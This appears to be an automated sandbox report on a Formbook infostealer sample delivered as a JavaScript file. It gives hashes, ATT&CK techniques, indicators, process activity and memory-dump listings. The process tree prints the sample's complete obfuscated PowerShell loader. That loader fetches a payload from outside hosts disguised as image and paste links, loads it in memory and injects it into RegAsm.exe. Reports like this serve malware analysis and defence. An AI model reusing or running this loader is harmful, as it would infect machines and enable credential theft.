formbook | 2b65cc65e88bef859ffc216258c8afc3e08b80f3efc607fd5168902a4295c5ea

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 09:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_2b65cc65e88bef859ffc216258c8afc3e08b80f3efc607fd5168902a4295c5ea.js
Size 71KB
Sample260604-lxbbmsc16m
SHA256 2b65cc65e88bef859ffc216258c8afc3e08b80f3efc607fd5168902a4295c5ea
MD5 f045f6b367a478fa665cefe2f19a606a
SHA1 a158f507e478fca729fc2654374060848128cac2
SHA512 eba562078bd1a769df03754001d94d759d8ec83f74e90a21a52ef091341f1268c6e51ca9e0e8f2ac1de7882bcfc974b1d41fdc92f759ce8f5f6374728eb64bb5
SSDEEP 384:PFelhZkdcAc5nCZdamYKsuc07iNLn18t114n3376Ip/dqwP+5/oMmXz+tSvmukaS:9eaACvsHLnnHTy8CtUFJNS
TLSH
T144633551B8CBCD9A0D4747C656A6D5772E0BE38338C8CB1EDB4104FA9A5A7CC23AD61C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution formbook rat spyware stealer trojan

Malware Config

Signatures

Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/4232-20-0x0000000000A00000-0x0000000000A46000-memory.dmp	family_formbook
behavioral2/memory/4232-23-0x0000000000A00000-0x0000000000A46000-memory.dmp	family_formbook

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	1592	powershell.exe	81

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2564	powershell.exe
3	2564	powershell.exe
4	2564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2564 set thread context of 4232	2564	powershell.exe	86

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
4232	RegAsm.exe
4232	RegAsm.exe
4232	RegAsm.exe
4232	RegAsm.exe
4232	RegAsm.exe
4232	RegAsm.exe
4232	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 4232	2564	powershell.exe	86
PID 2564 wrote to memory of 4232	2564	powershell.exe	86
PID 2564 wrote to memory of 4232	2564	powershell.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\_2b65cc65e88bef859ffc216258c8afc3e08b80f3efc607fd5168902a4295c5ea.js
1⤵
PID:2176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAdABwAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAbgBhAG4AcwBoAGkAaQBuAC4AYwBvAG0ALwAxAC4AagBwAGcAJwApACwAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AUgBvAHYAaQBuAGcAUgBhAG4AZAB5ACcAKQApADsAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAf#AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBSAGUAZwAnACAAKwAgACcAQQBzAG0AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAGcAIAA9ACAAJwB0AHgAdAAuAGcAaABf#AHAAZAByAGoALwBzAHMAZQByAHAAZAByAG8AdwAvAG0AbwBjAC4AYwBsAGwAcgBvAG4AZQBzAGIAZQB3AC4AdwB3AHcALwAvADoAcwBnAHMAZwBkAGYAZgBmAHMAZgBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAMQAwACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_0pw4k0i0.eka.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0pw4k0i0.eka.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2564-12-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/2564-2-0x000001DB6FCD0000-0x000001DB6FCF2000-memory.dmp

Download

memory/2564-1-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/2564-9-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/2564-10-0x000001DB6FF60000-0x000001DB6FF7A000-memory.dmp

Download

memory/2564-0-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/2564-11-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/2564-13-0x000001DB6EC30000-0x000001DB6EC40000-memory.dmp

Download

memory/4232-15-0x0000000000040000-0x000000000008C000-memory.dmp

Download

memory/4232-20-0x0000000000A00000-0x0000000000A46000-memory.dmp

Download

memory/4232-21-0x0000000002690000-0x00000000029E6000-memory.dmp

Download

memory/4232-22-0x0000000000A00000-0x0000000000A46000-memory.dmp

Download

memory/4232-23-0x0000000000A00000-0x0000000000A46000-memory.dmp

Download